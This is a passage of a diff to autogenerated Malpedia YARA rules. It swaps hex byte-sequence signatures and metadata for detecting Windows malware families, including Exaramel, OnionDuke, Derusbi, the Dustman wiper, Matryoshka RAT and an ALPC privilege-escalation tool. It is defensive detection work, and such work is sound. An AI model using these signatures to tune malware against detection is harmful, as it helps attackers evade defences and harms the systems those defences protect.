+		$sequence_9 = { 68???????? ff15???????? 8d85f8fdffff 50 68???????? }
+		$sequence_10 = { 6a00 ff15???????? 85c0 7418 ff15???????? }
+		$sequence_11 = { 6a01 ff15???????? ff15???????? b001 }
+		$sequence_12 = { 6a00 682a800000 6a00 ff15???????? }
+		$sequence_13 = { 52 683f000f00 6a00 68???????? 6802000080 ff15???????? 85c0 }
+		$sequence_14 = { 68???????? ff15???????? e9???????? 8d45fc }
+		$sequence_15 = { 50 ff15???????? 8945fc 837dfc00 7416 8b4df8 }
+		$sequence_16 = { f7f9 81c210270000 52 e8???????? }
+		$sequence_17 = { e8???????? 99 b930750000 f7f9 81c210270000 }
+		$sequence_18 = { 50 e8???????? 59 59 85c0 7573 }
+		$sequence_19 = { 3d00010000 7504 83c8ff c3 8b542404 }
+		$sequence_20 = { 7508 6a00 ff15???????? 6804010000 }
+		$sequence_21 = { 6a21 50 e8???????? c60000 }
+		$sequence_22 = { e8???????? 83c41c 6880000000 8d4c240c 51 ff15???????? 6a00 }
+		$sequence_23 = { 52 e8???????? 99 b960ea0000 f7f9 }
+		$sequence_24 = { 6880000000 8d8424b4000000 50 6a0c 8d4c2420 51 6800142d00 }
+		$sequence_25 = { 83790c00 7419 83791800 7418 83c130 83c004 81f9???????? }
+		$sequence_26 = { 72f7 53 33c0 56 57 663bc2 }
+		$sequence_27 = { 56 57 68e8030000 ff15???????? e8???????? be???????? }
+		$sequence_28 = { 50 8d45ec 50 6805000020 }
+		$sequence_29 = { 8d45f8 50 8d45e4 50 6805000020 }
 
 	condition:
-		7 of them and filesize <2940928
+		7 of them and filesize <2490368
 }
-rule MALPEDIA_Win_Gophe_Auto : FILE
+rule MALPEDIA_Win_Exaramel_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "16e0cb01-a4d6-50a6-a1a9-0b51a47ac5bb"
+		id = "55f2eda2-5892-5031-b695-0db68fb2d622"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gophe_auto.yar#L1-L156"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.exaramel_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "76443f258bf0b4ec57a2e148e70e44580d537156fff783e9c0d09eeae8abd68d"
+		logic_hash = "746a3a522250db31852461e3a3a31996745122c83c94633343076460de517b9c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157309,38 +164266,32 @@ rule MALPEDIA_Win_Gophe_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 833902 0f94c0 84c0 7407 }
-		$sequence_1 = { b905000000 ff15???????? 8b05???????? 85c0 }
-		$sequence_2 = { 56 8b7510 57 68???????? c70605000000 }
-		$sequence_3 = { b801000000 eb09 83c8ff eb04 }
-		$sequence_4 = { 51 a1???????? 33c5 50 8d45f4 64a300000000 68e0000000 }
-		$sequence_5 = { 5b 8be5 5d c3 b896ffffff }
-		$sequence_6 = { 64a300000000 68e0000000 e8???????? 83c404 }
-		$sequence_7 = { 6805010000 8d85e0fdffff 50 68???????? }
-		$sequence_8 = { 85c9 0f94c0 89431c 85c9 }
-		$sequence_9 = { 7838 488b4c2440 ff15???????? 8bf8 }
-		$sequence_10 = { 2bf0 b8abaaaa2a f7ee c1fa03 8bf2 }
-		$sequence_11 = { 8bf8 488b4c2440 488b01 ff5010 85ff }
-		$sequence_12 = { e8???????? 488d942488000000 488d4c2460 e8???????? }
-		$sequence_13 = { c684249000000000 488b542440 488b4a10 668379300b }
-		$sequence_14 = { 6a00 56 e8???????? 83c40c c706ffffffff }
-		$sequence_15 = { 5d c3 b896ffffff 5f 5e 5b }
+		$sequence_0 = { 8bf0 85f6 7425 8d4e02 51 e8???????? 8b4d0c }
+		$sequence_1 = { 83c408 85c0 7834 ff750c ff7508 ff75fc }
+		$sequence_2 = { 3934bd60dd4100 7531 e8???????? 8904bd60dd4100 }
+		$sequence_3 = { 8be5 5d c3 81f903000080 7519 ff35???????? b8???????? }
+		$sequence_4 = { 7439 6aff 50 ff15???????? 85c0 7538 56 }
+		$sequence_5 = { 50 e8???????? ffb5f0fdffff e8???????? 83c414 8b4dfc }
+		$sequence_6 = { ffb5a4faffff ff15???????? 85c0 0f85c1feffff 33f6 }
+		$sequence_7 = { 5d c3 f68594f7ffff10 746d }
+		$sequence_8 = { 744b 817df4e8030000 b801000000 68f0030000 0f42f0 }
+		$sequence_9 = { c3 8b03 8d4dec 51 6800040000 }
 
 	condition:
-		7 of them and filesize <1582080
+		7 of them and filesize <294912
 }
-rule MALPEDIA_Win_Derusbi_Auto : FILE
+rule MALPEDIA_Win_Onionduke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7e17bc22-c095-50d8-a4c2-1bf339697e7b"
+		id = "bc18bebb-924f-5db1-bda1-575db25c40f5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.derusbi_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.onionduke_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "325459f5183ff3b300e1f181ae53b4a2cb1c12e04a563b27e6a394d452c11ac4"
+		logic_hash = "2b5a6150c91e41c1ea04d8a66d543531da34a08cde94cd3e5e729e90a4473cac"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157354,32 +164305,32 @@ rule MALPEDIA_Win_Derusbi_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b819c000000 8d4de8 51 8d4dec 51 ffb00c010000 c745e810000000 }
-		$sequence_1 = { 8d55ec e8???????? 8d4f08 56 8d55f3 e8???????? 59 }
-		$sequence_2 = { 8913 ff15???????? 83c40c e8???????? b301 57 ff15???????? }
-		$sequence_3 = { 33c5 8945f8 8b4508 66833800 53 56 57 }
-		$sequence_4 = { 8945f8 8b4508 56 57 50 8d8de4fbffff 899590f9ffff }
-		$sequence_5 = { 64a300000000 8b5d0c 8b4508 894c2414 89442418 85db 0f8457050000 }
-		$sequence_6 = { 50 ffd6 b903010000 2bc8 51 8d85ecfdffff 68???????? }
-		$sequence_7 = { 56 56 56 6a03 56 68???????? 6800040000 }
-		$sequence_8 = { ffd3 50 57 ffb5f8fbffff ff15???????? 83c410 85c0 }
-		$sequence_9 = { ffb5d4fdffff 898db8fdffff ffb5ecfdffff ffb5f0fdffff ff15???????? 3bc7 }
+		$sequence_0 = { 33d2 895e68 66895658 8b550c 8d4202 c645fc04 8945ec }
+		$sequence_1 = { c1e81f 03c2 897dcc 0f84d0000000 897dd0 eb02 }
+		$sequence_2 = { 384b01 7506 40 380c18 }
+		$sequence_3 = { 894ee4 894ffc 8d4eec 8d57ec 8d5fec }
+		$sequence_4 = { 56 8bf1 837e0c00 751e 6a04 e8???????? 83c404 }
+		$sequence_5 = { 3bfb 72ac 5f 5e }
+		$sequence_6 = { 8b4e44 8b09 85d2 7405 }
+		$sequence_7 = { 8910 894ed0 8b56e0 8957e0 8b56e4 }
+		$sequence_8 = { e8???????? 83c404 33c0 eb66 8bc6 8d5001 }
+		$sequence_9 = { 80f90f 7f05 80c157 eb02 32c9 }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <671744
 }
-rule MALPEDIA_Win_Artfulpie_Auto : FILE
+rule MALPEDIA_Win_Nabucur_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "76593040-a588-559b-a14b-1edef48802a1"
+		id = "01e16fcc-e93c-502a-bf23-e97657c28f28"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.artfulpie_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nabucur_auto.yar#L1-L161"
 		license_url = "N/A"
-		logic_hash = "61512abd96fd629a35a0b2673ca4f2027db7aa6e8bcee3bfbea21b9b36b003b2"
+		logic_hash = "6100efc8bca15f40de853b2fa2bd4731e512123d488b941f31d2f09287a69887"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157393,32 +164344,38 @@ rule MALPEDIA_Win_Artfulpie_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 894ddc c745e0a8204100 e9???????? c745e0a4204100 }
-		$sequence_1 = { 8d1c8568524100 8b03 8b15???????? 83cfff 8bca 8bf2 }
-		$sequence_2 = { 23c1 83c008 5d c3 8b04c544ec4000 5d }
-		$sequence_3 = { 7514 8b7830 8b00 397838 740a 33d2 }
-		$sequence_4 = { 6a00 8d854cfcffff c745fc2a2f2a00 50 }
-		$sequence_5 = { 660f282d???????? 660f59f5 660f28aa101f4100 660f54e5 660f58fe 660f58fc 660f59c8 }
-		$sequence_6 = { e8???????? 85c0 7432 8bcb e8???????? }
-		$sequence_7 = { 8b5d10 8b0485984e4100 56 8b7508 57 8b4c0818 }
-		$sequence_8 = { 50 53 ff15???????? 85c0 7455 8b7df0 }
-		$sequence_9 = { 6a41 5f 894df0 8b34cdf00e4100 8b4d08 6a5a }
+		$sequence_0 = { 48 49 85c0 75fa }
+		$sequence_1 = { 48 5f 894500 5d }
+		$sequence_2 = { 48 83e908 85c0 75f0 57 }
+		$sequence_3 = { 48 83e904 85c0 7ff3 8bf0 8b442448 }
+		$sequence_4 = { 48 83f801 89442418 0f8f15ffffff }
+		$sequence_5 = { 33ff 33f6 4a c744244001000000 }
+		$sequence_6 = { 009eaa030000 0fb686aa030000 57 83f80a 0f876d010000 }
+		$sequence_7 = { 48 8906 8d442410 50 }
+		$sequence_8 = { ba86a33ffb 83e904 ba575a2bfd eb69 83f901 7519 }
+		$sequence_9 = { 3f 71e3 0c42 869576f1896a 86f6 }
+		$sequence_10 = { 732e 5c 54 7346 b654 8c534c }
+		$sequence_11 = { 141b 46 ec 54 732e }
+		$sequence_12 = { 01e4 01f4 1481 0491 00850cf41196 }
+		$sequence_13 = { ff75f8 ff35???????? ff15???????? 8b7520 8b45e4 }
+		$sequence_14 = { 8b4608 50 ff15???????? 61 eb11 }
+		$sequence_15 = { 06 e409 9a1496099a1581 0d911c9060 9d 01e4 }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <1949696
 }
-rule MALPEDIA_Win_Mutabaha_Auto : FILE
+rule MALPEDIA_Win_Dustman_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "04cdad38-c730-58bf-ac9f-7881643cfe37"
+		id = "36b1ddf2-cf7c-571e-9cd1-f2576b628e0f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mutabaha_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dustman_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "21a56ac17d7181e1f264aab4aad9c0f8a40e021362f525e9ed7460f5330637ce"
+		logic_hash = "7655ffd1fc19c69013d45a561f004630940d9eb32b369648a9a2d4d61dad6d9e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157432,32 +164389,32 @@ rule MALPEDIA_Win_Mutabaha_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 8d9518ffffff 8d8d68feffff e8???????? 8d8d48ffffff c645fc09 }
-		$sequence_1 = { 8b85dcfdffff 83f808 7213 40 8d8dc8fdffff 50 ffb5c8fdffff }
-		$sequence_2 = { c745b800000000 c645a800 c745c06cac4700 85c0 7409 50 e8???????? }
-		$sequence_3 = { 85d2 7424 8b7c2424 8d4f08 833900 740a 40 }
-		$sequence_4 = { 0fb7f8 eb43 83f803 7536 ff734c ff75d4 e8???????? }
-		$sequence_5 = { c745ec00000000 668945dc e8???????? 8d45dc c745fc05000000 50 8bce }
-		$sequence_6 = { e8???????? c7465400000000 8bc6 8b4df4 64890d00000000 59 5e }
-		$sequence_7 = { 8d8d84fdffff c78598fdffff07000000 c78594fdffff00000000 66898584fdffff e8???????? 57 ba???????? }
-		$sequence_8 = { 0103 115304 33c0 5f 5e 5b 8be5 }
-		$sequence_9 = { e9???????? 8d8d5cffffff e9???????? 8d4dbc e9???????? 8d4dd4 e9???????? }
+		$sequence_0 = { 488d150d620100 4b8d1c36 4c897710 4c8bc3 488bce }
+		$sequence_1 = { 448d4303 895c2428 488d0ddb720000 4533c9 4489442420 }
+		$sequence_2 = { 4903cb 48894d48 488bca 492bca 4c8d9dca010000 4903cb 48894d50 }
+		$sequence_3 = { 884803 420fb60c20 884804 420fb60c28 884805 0fb60c10 }
+		$sequence_4 = { f20f102d???????? f20f590d???????? f20f59ee f20f5ce9 f2410f1004c1 488d15767f0000 f20f1014c2 }
+		$sequence_5 = { 7405 e8???????? b001 4883c428 c3 488d158ba50000 }
+		$sequence_6 = { 492bca 4c8d9dcd010000 4903cb 48894d68 488bca 492bca 4c8d9dce010000 }
+		$sequence_7 = { 488d053f1f0000 498b0b 4889442450 488b85e0040000 4889442460 486385f0040000 }
+		$sequence_8 = { e8???????? 4885c0 7509 488d0597420100 eb04 4883c024 }
+		$sequence_9 = { 48c1e028 480bd8 0fb6852e020000 48c1e030 480bd8 0fb6852f020000 48c1e038 }
 
 	condition:
-		7 of them and filesize <1220608
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Qhost_Auto : FILE
+rule MALPEDIA_Win_Alpc_Lpe_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5a22ec0c-4f17-55ab-b241-2378f7015545"
+		id = "1d3d4f14-881f-5a73-b345-a76e12b3dfd0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qhost_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alpc_lpe_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "c30effbf965ec02215e2576b89ba366bebeed097f08848009dcc3ab3b7556ec0"
+		logic_hash = "21b1493d78b90781647fb0ea2e97a709ccc21e177ddf748dd3e2118819bbc37e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157471,32 +164428,32 @@ rule MALPEDIA_Win_Qhost_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c60000 8b4dfc 83e901 894dfc ebdc 8b4508 }
-		$sequence_1 = { 40 884598 8b0d???????? 51 e8???????? }
-		$sequence_2 = { ff15???????? 898550beffff c78538beffff00000000 837df400 }
-		$sequence_3 = { 7507 b805000080 eb36 8b5508 52 68???????? e8???????? }
-		$sequence_4 = { 03d0 52 ff15???????? 83c408 }
-		$sequence_5 = { 68???????? 68???????? 68ff030000 68???????? ff15???????? 83c410 }
-		$sequence_6 = { 837df800 0f84dc000000 c7854cbeffff00000000 c78550beffff00000000 eb1e }
-		$sequence_7 = { 68???????? 680f270000 68???????? ff15???????? 83c410 ff15???????? }
-		$sequence_8 = { 8bec 81ec6c0b0000 c785f0fdffff00000000 c785e8fdffff00000000 c785d4fdffff00000000 c745fc00000000 c785f4fdffff00000000 }
-		$sequence_9 = { 50 6800040000 8d8d00fcffff 51 8b95c8fbffff 52 }
+		$sequence_0 = { ba31000000 4c8d05b3a10000 448bcb 482bd6 e8???????? 4883c603 881f }
+		$sequence_1 = { 4533c0 48c7c102000080 4889442420 ff15???????? ff15???????? 488b4c2448 }
+		$sequence_2 = { 57 4881ec58010000 488d6c2420 488bfc b956000000 }
+		$sequence_3 = { 488b8d00010000 e8???????? 488b8dd8000000 488bd1 488bc8 e8???????? }
+		$sequence_4 = { e8???????? 488d0da1af0000 e8???????? 488d0d85af0000 }
+		$sequence_5 = { 488bc8 e8???????? 488b5508 488b8d00010000 }
+		$sequence_6 = { e8???????? 488d0dc1ad0000 e8???????? 488d0da5ad0000 }
+		$sequence_7 = { 488d6c2430 488bfc b98a000000 b8cccccccc f3ab 488b8c2448020000 488b05???????? }
+		$sequence_8 = { 488d1deb7e0000 4184c0 7539 410bc0 488d542458 488d0ddfd30000 8905???????? }
+		$sequence_9 = { 488b4c2438 488d442430 4889442428 4c8d4c2434 488d442440 4533c0 488d1548830000 }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <540672
 }
-rule MALPEDIA_Win_Udpos_Auto : FILE
+rule MALPEDIA_Win_Gcman_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "49a8c6d9-3919-52d8-b9a1-bc6d433f2d9f"
+		id = "c3dd4f52-d013-5409-b72e-5ec2ecf28c4b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.udpos_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gcman_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "ffccd56d9879c5a40153befe0b99e30b88fecb63ad13af5b9ec71c40ee069e0c"
+		logic_hash = "646fd6c677e3b810f35c02ba75646dde96abf31f60dd053593e8964313629ea3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157510,87 +164467,77 @@ rule MALPEDIA_Win_Udpos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bc8 23cf 0bf1 8b4dfc 03d6 0353fc 8bf0 }
-		$sequence_1 = { 8b4dfc 83c404 5f 8bc3 33cd }
-		$sequence_2 = { 52 e8???????? 83c418 833d????????00 0f8596000000 8d85ccf3ffff 50 }
-		$sequence_3 = { 8888f8e84000 40 ebe6 ff35???????? ff15???????? 85c0 7513 }
-		$sequence_4 = { 7e1e 8d575c 85f6 7517 6639944dfcfdffff 7508 be01000000 }
-		$sequence_5 = { 51 e8???????? a1???????? 8b3d???????? 83c418 }
-		$sequence_6 = { 7e0d 83f809 7e08 a1???????? 8b7024 56 8d4d9c }
-		$sequence_7 = { e8???????? 68f4010000 6a00 8d8dc8fcffff 51 e9???????? }
-		$sequence_8 = { ffd6 8d953cffffff 52 8d85e0f8ffff 50 ffd6 }
-		$sequence_9 = { 40 3bc3 7cef 8b85a0feffff 50 e8???????? }
+		$sequence_0 = { a1???????? 8944240c c7442408???????? 8b85d0ebffff }
+		$sequence_1 = { 0375e0 01f1 81e959dc6b54 c1c10f 01d9 89c6 }
+		$sequence_2 = { 89442408 c7442404???????? 8d8528eaffff 890424 e8???????? }
+		$sequence_3 = { 8944240c c7442408???????? 89542404 8b45f4 890424 }
+		$sequence_4 = { c705????????00000000 c705????????00000000 e8???????? 85c0 7439 8d859ceaffff 89442410 }
+		$sequence_5 = { c745c400000000 e9???????? c744241c00000000 c744241800000000 c744241403000000 c744241000000000 }
+		$sequence_6 = { 83bdd4ebffff00 750c c7042401000000 e8???????? }
+		$sequence_7 = { 8b8558efffff 890424 e8???????? 83ec08 81bde8efffff03010000 7405 }
+		$sequence_8 = { 89c6 31d6 31ce 0375d8 01f3 81eb1b662419 c1c30b }
+		$sequence_9 = { 40 890424 e8???????? 8945fc 8b45fc 89442408 8b450c }
 
 	condition:
-		7 of them and filesize <163840
+		7 of them and filesize <81920
 }
-rule MALPEDIA_Win_Uroburos_Auto : FILE
+rule MALPEDIA_Win_Matryoshka_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "205256f7-2469-53ee-990c-6fdfb536a7d1"
-		date = "2023-01-25"
-		modified = "2023-01-26"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.uroburos_auto.yar#L1-L234"
+		id = "3e8b1848-3ea9-5312-86aa-83712c0906a6"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.matryoshka_rat_auto.yar#L1-L141"
 		license_url = "N/A"
-		logic_hash = "7cd6167d1ac85667ccf6f37a04c885a4dbb4d487c7aa8e68ed00f9a40de671ad"
+		logic_hash = "e63bf906be3841d18c1769641826f4871bcf6c179928d9c22e19c757766e13e1"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20230124"
-		malpedia_hash = "2ee0eebba83dce3d019a90519f2f972c0fcf9686"
-		malpedia_version = "20230125"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7526 85d2 7411 8b493c }
-		$sequence_1 = { 85d2 7406 8d4801 0fafcd }
-		$sequence_2 = { 09c9 7407 ffd1 a1???????? 832d????????04 3905???????? 73de }
-		$sequence_3 = { 85c0 7405 e9???????? 448bc7 }
-		$sequence_4 = { 8b493c 8bc2 4881c108010000 483bc1 }
-		$sequence_5 = { 29c0 eb4e 57 56 }
-		$sequence_6 = { 85c0 750d 48837c245000 0f95c0 8803 33c0 }
-		$sequence_7 = { 895c2430 e9???????? 33d2 448d4268 }
-		$sequence_8 = { 09c0 7503 21450c 837d0c00 }
-		$sequence_9 = { 83fe01 89450c 750c 09c0 7537 57 50 }
-		$sequence_10 = { 54 5d 53 8b5d08 56 8b750c 09f6 }
-		$sequence_11 = { 5f 09ff 59 751e 56 ff15???????? 8d86e8030000 }
-		$sequence_12 = { 40 c20c00 55 54 5d }
-		$sequence_13 = { 7704 4183c220 4585c9 740a 453bca 7505 4d85c0 }
-		$sequence_14 = { 8bc1 f7f5 85d2 7406 }
-		$sequence_15 = { 7433 eb13 8b0d???????? 8b09 09c9 7407 }
-		$sequence_16 = { 48 8bf0 49 2bf5 4c }
-		$sequence_17 = { 83c601 49 83c508 41 3bdf 7c82 45 }
-		$sequence_18 = { 750a 8d43ff e9???????? 33db }
-		$sequence_19 = { b901000000 e8???????? 48 85c0 48 8bd8 }
-		$sequence_20 = { 85c0 7434 48 83c310 83c701 48 }
-		$sequence_21 = { ff15???????? 44 8bd8 49 c1e320 4c }
-		$sequence_22 = { 8b8f58010000 e8???????? 48 895c2430 }
-		$sequence_23 = { 8b5c2450 48 83c448 c3 4c 8bc6 }
+		$sequence_0 = { b037 c3 b073 c3 }
+		$sequence_1 = { c3 b06f c3 b063 c3 }
+		$sequence_2 = { 8b46fc 8947fc 49 75ed 5f ff4210 }
+		$sequence_3 = { 8b4704 ff4710 ff07 8b0488 }
+		$sequence_4 = { 74e3 440fb603 430fbe841040d30500 85c0 }
+		$sequence_5 = { 8b4708 3b470c 7507 8bcf }
+		$sequence_6 = { 74e2 ff8170040000 83b97004000002 0f8493010000 83cfff 488d2d572c0300 }
+		$sequence_7 = { 74e9 488d15b9450400 488bcb e8???????? }
+		$sequence_8 = { 74de 83cbff 488bca e8???????? 90 48897c2420 }
+		$sequence_9 = { 8b4708 b120 8b570c 8b7718 }
+		$sequence_10 = { 74e6 488d152fac0300 488bcb e8???????? }
+		$sequence_11 = { 8b4704 8b3491 890491 8bd6 }
+		$sequence_12 = { 74e2 ff8170040000 83b97004000002 0f84eb010000 83cfff 4c8d3dde290300 }
+		$sequence_13 = { 8b4704 8bf1 33d1 81e6ff030000 }
 
 	condition:
-		7 of them and filesize <1136640
+		7 of them and filesize <843776
 }
-rule MALPEDIA_Win_Unidentified_107_Auto : FILE
+rule MALPEDIA_Win_Coreshell_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3e7e44ff-0f02-5267-8346-e5f949ff1ff2"
+		id = "f8b1ab7a-5e3f-5f01-8787-4d480849e1bc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_107"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_107_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.coreshell_auto.yar#L1-L424"
 		license_url = "N/A"
-		logic_hash = "36a3784a29d5434d0fa9e9c5acdfc21d8509c8e92eeaa689801f442b7fb11fdb"
+		logic_hash = "23addbe4ab3205859c50e41702fa9e9c554a336132b182d2582fda2f9387a324"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -157602,32 +164549,70 @@ rule MALPEDIA_Win_Unidentified_107_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4139d9 75d8 4c89e1 e8???????? }
-		$sequence_1 = { 48897008 4c89e1 ff15???????? 488b05???????? 4c89e1 48891d???????? }
-		$sequence_2 = { 0f83d6fdffff 4c8b35???????? 8b7304 448b2b 4883c308 4c01f6 44032e }
-		$sequence_3 = { 034208 4839c1 7214 4883c228 }
-		$sequence_4 = { 0f8584000000 4c8b3e 4929c7 4901cf }
-		$sequence_5 = { e8???????? 4c89e1 ff15???????? 31c0 4883c428 }
-		$sequence_6 = { 8b15???????? 85d2 0f8ea1feffff 488b35???????? 31db 4c8d65fc }
-		$sequence_7 = { e8???????? 4989c7 48b9ca0e99c700000000 e8???????? 4883c464 488b4c2408 }
-		$sequence_8 = { 4183fc01 0f85a9feffff 8b05???????? 85c0 0f8e9bfeffff 83e801 488b1d???????? }
-		$sequence_9 = { 4c89442418 4c894c2420 4883ec64 48c7c10f15af3d }
+		$sequence_0 = { 68???????? 52 ffd7 ffd0 }
+		$sequence_1 = { 56 6810270000 ff15???????? be06000000 e8???????? 85c0 7401 }
+		$sequence_2 = { 56 ff15???????? 83c40c 3bc6 }
+		$sequence_3 = { c20400 50 a1???????? 6a00 }
+		$sequence_4 = { 8b15???????? 6a01 51 68???????? 52 }
+		$sequence_5 = { 50 57 6a08 51 ff15???????? 8bf8 85ff }
+		$sequence_6 = { 50 ff15???????? 83c404 32db }
+		$sequence_7 = { 56 6a00 6a00 681c800000 6a00 }
+		$sequence_8 = { 6a00 6a00 ff15???????? 8bf0 ff15???????? 50 }
+		$sequence_9 = { 6804010000 6a08 8b15???????? 52 ff15???????? }
+		$sequence_10 = { 8d4c2400 56 51 6a00 }
+		$sequence_11 = { 85c0 7402 eb14 c745f000000000 68e0930400 }
+		$sequence_12 = { 68???????? 50 a3???????? ffd6 a3???????? a1???????? }
+		$sequence_13 = { 8bf1 8b4604 85c0 7407 50 ff15???????? 8b36 }
+		$sequence_14 = { ff15???????? ffd0 85c0 7508 ff15???????? }
+		$sequence_15 = { 68???????? 6800080000 8d85fcefffff 50 ff15???????? }
+		$sequence_16 = { 68???????? 50 ffd6 6a00 6a00 6a00 }
+		$sequence_17 = { 51 56 8d442404 6a00 8bf1 50 }
+		$sequence_18 = { 51 8b0d???????? 52 50 57 68???????? 51 }
+		$sequence_19 = { 81e1ffff0000 81e1ffff0000 81e1ff000000 81e1ff000000 }
+		$sequence_20 = { 8d55f0 52 e8???????? 83c408 33c0 8b4df0 64890d00000000 }
+		$sequence_21 = { ff15???????? 50 68???????? 68???????? 8985f0fdffff 8d85f4fdffff 6804010000 }
